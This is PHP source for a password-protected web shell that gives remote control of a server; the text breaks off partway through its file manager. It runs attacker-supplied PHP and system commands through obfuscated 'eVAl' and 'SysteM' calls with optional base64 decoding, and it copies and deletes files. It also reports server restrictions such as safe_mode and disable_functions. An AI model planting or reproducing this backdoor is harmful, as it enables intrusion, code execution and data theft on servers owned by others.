$pass='s';
if (isset($_GET['p'])) {
$p=$_GET['p'];
}
else if (isset($_COOKIE['p'])) {
$p=$_COOKIE['p'];
}
else $p='';
if ($pass==$p) {
if (isset($_GET['save']) and empty($_COOKIE['p'])) {
SetCookie('p',$p,time()+36000*72);
}
} else exit;
//-----------------//
if (isset($_GET['debug'])) {
error_reporting(E_ALL | E_STRICT);
ini_set('display_errors','On');
} else {
error_reporting(0);
}
list($msec,$sec)=explode(chr(32),microtime());
$HeadTime=$sec+$msec;
ignore_user_abort(1);
//-----------------//
function clear($dir) {
$opdir=opendir($dir);
while($a=readdir($opdir)) {
if ($a!='.' and $a!='..' and !is_dir($dir.'/'.$a)) {
unlink($dir.'/'.$a);
}
else if ($a!='.' and $a!='..' and is_dir($dir.'/'.$a)) {
clear($dir.'/'.$a);
}
}
closedir ($opdir);
if (RmDir($dir))
return TRUE;
else {
return FALSE;
}
}
//-----------------//
if (get_magic_quotes_runtime() or get_magic_quotes_gpc()) {
foreach ($_GET as $k=>$v) {
$_GET[$k]=stripslashes($_GET[$k]);
}
foreach ($_POST as $k=>$v) {
$_POST[$k]=stripslashes($_POST[$k]);
}
}
if (isset($_GET['e']) or isset($_POST['e'])) {
if (isset($_POST['e'])) {
$e=stripslashes($_POST['e']);
} else {
$e=stripslashes($_GET['e']);
}
if (isset($_REQUEST['encode'])) {
$e=base64_decode($e);
}
if (isset($_REQUEST['text'])) {
header('Content-type: text/plain');
}
if (isset($_REQUEST['textarea'])) {
echo '';
} else {
eVAl($e);
}
exit;
}
if (isset($_GET['c']) or isset($_POST['c'])) {
if (isset($_POST['c'])) {
$c=stripslashes($_POST['c']);
} else {
$e=stripslashes($_GET['c']);
}
if (isset($_REQUEST['encode'])) {
$c=base64_decode($c);
}
if (isset($_REQUEST['text'])) {
header('Content-type: text/plain');
}
if (isset($_REQUEST['textarea'])) {
echo '';
} else {
SysteM($c);
}
exit;
}
if (isset($_GET['in'])) {
copy($_GET['in'],$_GET['to']);
exit;
}
if (isset($_POST['in'])) {
copy($_POST['in'],$_POST['to']);
exit;
}
//-----------------//
$ps=$_SERVER['PHP_SELF'];
if (empty($_GET['zip']) and empty($_GET['download']) and empty($_GET['down'])) {
echo '
',$_SERVER['HTTP_HOST'],' (',$_SERVER['SERVER_ADDR'],')
';
}
///////////////////
//File Manager
///////////////////
if (!isset($_GET['r']) and !isset($_GET['input']) and !isset($_GET['ren']) and !isset($_GET['setchmod']) and !isset($_GET['download']) and !isset($_GET['down']) and !isset($_GET['up']) and !isset($_GET['upload']) and !isset($_GET['chmod']) and !isset($_GET['rename']) and !isset($_GET['rmdir']) and !isset($_GET['made']) and !isset($_GET['create']) and !isset($_GET['del']) and !isset($_GET['deldir']) and !isset($_GET['f']) and !isset($_GET['edit']) and !isset($_GET['zip']) and !isset($_GET['com'])) {
$sf=ini_get('safe_mode');
if (empty($sf)) {
$sf='OFF';
}
else if ($sf=='1') {
$sf='ON';
}
$ob=ini_get('open_basedir');
if (empty($ob)) {
$ob='NONE';
}
$df=ini_get('disable_functions');
if (empty($df)) {
$df='NONE';
}
echo 'File Manager
',php_uname(),' Root: ',$_SERVER['DOCUMENT_ROOT'],' Open Basedir: ',$ob,' Safe Mode: ',$sf,' Disable Functions: ',$df,' ';
if (empty($_GET['d'])) {
$d='.*';
}
else{
$d=$_GET['d'];
}
if ($d=='.*') {
$vverh='.'.$d;
}
if ($d!=='.*') {
$vverh=$d.'..*';
}
$d=str_replace('/','*',$d);
echo ' UP Create File Upload File ';
$d=str_replace('*','/',$d);
echo 'Path: ',$d,' DIR:
';
$dir=opendir($d);
while($file=readdir($dir)) {
if(is_dir($d.'/'.$file)) {
if ($file!='.' and $file!='..') {
$mod=substr(sprintf("%o",fileperms($d.'/'.$file)),-3);
$d=str_replace('/','*',$d);
echo '